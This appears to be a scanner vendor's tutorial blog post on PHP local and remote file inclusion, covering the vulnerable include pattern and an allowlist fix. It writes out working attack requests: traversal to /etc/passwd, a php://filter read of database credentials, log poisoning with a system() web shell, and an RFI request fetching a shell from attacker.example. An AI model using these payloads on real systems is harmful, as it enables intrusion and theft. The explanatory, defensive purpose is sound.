Skip to content
Path TraversalLFI / RFI

LFI vs RFI: From File Disclosure to Remote Code Execution

File inclusion bugs come in two flavors. Local File Inclusion pulls a server-side file into execution — leaking source and secrets, and escalating to code execution through php://filter, log poisoning or /proc/self/environ. Remote File Inclusion pulls in an attacker-hosted URL and runs it outright. The dividing line is include() versus a read-only readfile(), and the fix is to keep user input away from both.

Part 3 of 3From the Path Traversal series

On this page

Path traversal reads a file you never meant to share; file inclusion runs it. The distinction matters because the same ../ that returns the bytes of /etc/passwd through a download endpoint becomes far worse when the sink is include instead of readfile — now the file is parsed and executed as code, not just streamed back. That single difference, a read-only call versus an executing one, is the line between disclosure and remote code execution, and it is the line this post is built around.

File inclusion splits into two cases. Local File Inclusion (LFI) is when attacker input chooses a path that the application includes from its own filesystem: it leaks source and secrets, and with the right wrappers or a poisoned log it escalates all the way to code execution. Remote File Inclusion (RFI) is the rarer, sharper version: the input is a remote URL that the application includes and runs, handing the attacker direct RCE with no escalation needed. This post walks both, the wrappers that turn LFI into RCE, and why the fix is the same for each.

How it happens

The root cause is passing user input to a language construct that executes whatever path it resolves. In PHP that construct is include/require, and the vulnerable shape is a templating or routing pattern that picks a page by name:

$page = $_GET['page'];
include("/var/www/app/pages/" . $page . ".php");

For ?page=about this includes /var/www/app/pages/about.php and renders it — exactly as intended. But include does not merely read the target; it parses and runs any PHP inside it. Combine that with the fact that page is attacker-controlled and accepts / and ., and the same parameter that chose a template can now choose any file on disk — or, if the engine is configured for it, any URL on the internet.

Contrast that with the read-only sink. A download endpoint built on readfile($path) has an identical traversal exposure but a smaller blast radius: readfile streams bytes to the response and never executes them, so the worst case is disclosure. include($path) executes, so the worst case is code execution. Same bug class, very different ceiling — and that is precisely why swapping readfile for include is the whole story here.

A concrete attack: LFI to source, then to RCE

The first move is plain disclosure. A traversal chain walks out of the pages directory to a system file, and because the included file holds no PHP, its raw contents render straight into the response:

GET /index.php?page=../../../../etc/passwd%00 HTTP/1.1
Host: app.example

Reading the application's own source is more useful, but include-ing a .php file executes it instead of showing it — so the attacker reaches for the php://filter wrapper, which transforms the file before inclusion. Base64-encoding the source turns executable PHP into inert text that returns intact:

GET /index.php?page=php://filter/convert.base64-encode/resource=../config/database HTTP/1.1
Host: app.example

The response is a base64 blob; decode it and the database credentials are in hand. From disclosure, the attacker pivots to execution by getting their own PHP onto a path the include can reach. Log poisoning is the durable technique: send a request whose User-Agent contains PHP, so the web server writes that code into its access log, then include the log so the engine executes it:

GET / HTTP/1.1
Host: app.example
User-Agent: <?php system($_GET['c']); ?>
GET /index.php?page=../../../../var/log/nginx/access.log&c=id HTTP/1.1
Host: app.example

The log file is now a valid PHP script; including it runs the payload and c=id returns command output. Two more wrappers reach the same end: /proc/self/environ executes code planted in a request header on some stacks, and data://text/plain;base64,... (when allow_url_include is on) carries the payload inline with no file to poison at all.

The application only ever wanted to choose which page to show. Because the chooser was include and not a read, the attacker did not extract a file — they convinced the server to run one of their own.

A concrete attack: RFI is a straight line to RCE

RFI removes every escalation step. If allow_url_include is enabled, include accepts a URL, fetches it, and executes the response as PHP. The attacker hosts a payload and points the parameter at it:

GET /index.php?page=http://attacker.example/shell.txt? HTTP/1.1
Host: app.example

The server retrieves shell.txt, runs its PHP, and the trailing ? swallows the .php suffix the code appends so the URL stays intact. There is no filter trick, no log to poison, no local file to find — the attacker supplies the code and the server runs it. RFI is rarer now because allow_url_include defaults to off, but where a legacy config flips it on, a single parameter is remote code execution.

Why it matters

Both ends of this spectrum are severe, and they ladder:

  • Source and secret disclosure — php://filter reads application source, .env files and config, exposing credentials and the next vulnerability.
  • Local code execution — log poisoning, /proc/self/environ and data:// turn an include into a shell on the host.
  • Remote code execution — RFI with allow_url_include on is direct, unconditional code execution from one URL.
  • Full host compromise — once code runs as the web user, the attacker pivots to internal services, credentials and persistence.

The fix: keep user input out of include, allowlist what is left

The dependable fix is never to let user input pick a path that gets executed. Map an opaque identifier to a known file through a lookup table, so the user chooses an entry, not a path:

$pages = [
    'home'    => 'home.php',
    'about'   => 'about.php',
    'contact' => 'contact.php',
];

$key = $_GET['page'] ?? 'home';
if (!isset($pages[$key])) {
    http_response_code(404);
    exit;
}

include("/var/www/app/pages/" . $pages[$key]);

The included path is now drawn entirely from a fixed allowlist; no traversal, wrapper or URL the attacker submits can reach include, because their input only ever indexes the map. Layer the engine-level controls on top: set allow_url_include = Off and allow_url_fopen = Off in php.ini so RFI and the data:///php:// URL wrappers are dead regardless of application code. Where a genuine path must come from the user, validate it against a strict allowlist (^[a-zA-Z0-9._-]+$, no slashes) and canonicalize with realpath() to confirm it stays under the base directory — and if the file only needs to be served, use a read-only readfile() rather than include, so the worst case is disclosure rather than execution.

How SelfSec finds it

SelfSec's crawler identifies every parameter that feeds a file or inclusion operation — query strings, form fields and path segments — then injects both traversal sequences and inclusion-specific payloads: php://filter source-read probes, data:// and remote-URL inputs for RFI, and the encoded, double-encoded and null-byte bypass variants that defeat naive filters. It confirms a finding only when the response proves it: a known system-file signature like the root:x:0:0 line for disclosure, decodable base64 application source for a php://filter read, or execution of a benign marker payload for RFI and code-execution sinks, rather than guessing from the request alone. The entire scan runs locally on 127.0.0.1, your scan data never leaves your machine, and every finding ships with a reproduction request you can replay.

SelfSec scanner

Find Path Traversal in your own app

Reading about the class is one thing. SelfSec tests for it against an application you are authorized to assess, and only calls it real when independent evidence agrees.

Find it Confirmed, not guessed 21 vulnerability modules, with the classical engine owning the verdict. Prove it Evidence you can re-read Every finding keeps the raw request, the response and the baseline it was measured against.
Join the launch list